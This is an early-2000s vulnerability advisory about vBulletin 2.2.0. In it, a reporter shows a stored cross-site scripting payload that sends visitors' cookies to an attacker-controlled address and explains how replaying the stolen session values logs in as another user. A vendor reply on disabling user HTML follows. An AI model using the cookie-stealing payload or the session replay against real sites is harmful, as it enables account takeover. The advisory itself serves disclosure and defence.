1st Feb 2002 [SBWID-5057]
COMMAND
vBulletin stolen cookies can be used to impersonate other users
SYSTEMS AFFECTED
vBulletin 2.2.0
PROBLEM
Harry Metcalfe reported :
First, I post some malicious html in a reply to a topic that allows
HTML:
document.write(\'
src=\"http://my_ip_address/\'+document.cookie+\'\">\';
When someone loads the page, the javascript echoes the contents of
their cookies into the image source tag that points to a webserver on
my machine, resulting in this kind of line in my access log:
GET
/bbuserid=86;%20bbpassword=dd6169d68822a116cd97e1fbddf90622;%20sessionhash=a
4719cd620534914930b86839c4bb5f8;%20bbthreadview[5420]=1012444064;%20bblastvi
sit=1011983161
At first I thought this was useless since the forum uses a one-way
encryption hash to protect the password... however, then it occurred
that If I log out and clear my cookies, I can add these variables into
the url of any page and the forum will use those variables to log me in
transparently, just like it ordinarily does when you leave the forum
and come back. So I added the variables to the url and bingo, it logged
me in as a moderator of the forum, who was being my guinea pig.
From here, I can log onto his profile, change his email address to
mine, use the forgotten password utility to have his password emailed
to me. Obviously in this user\'s case this is fairly useless, but if I
had caught an administrator\'s cookie info from the malicious
javascript, I could get their password, giving me access to the CP...
and that\'s that.
SOLUTION
John Percival [http://www.vbulletin.com/] replied :
A more advanced hacker could also spoof the cookies, so checking the
$HTTP_COOKIE_VARS / $_COOKIE array would not be any more effective
against a determined attacker.
Harry recommends turning off the [img] code also. This is absolutely
not necessary as we have very tight checks on what is allowed in the
[img] tag, and Javascript cannot be used in there. However, allowing
HTML code entered by the user is always going to have to rely on trust.
Scripting can be used in almost any element (eg. <script>,
<style>, <img>, <body>, <a>), and if you want to read more
on this, look at the recent discussions on the webappsec mailing list,
also on SecurityFocus.com
The bottom line is that if you do not completely and utterly trust the
users of the bulletin board, HTML should not ever be allowed. That is
why we have that option turned off by default.
Just as a quick aside, it is possible to define your own custom \'vB
Code\' tags, like the [img] tag, which should allow you to do
everything that enabling HTML does, and much more.
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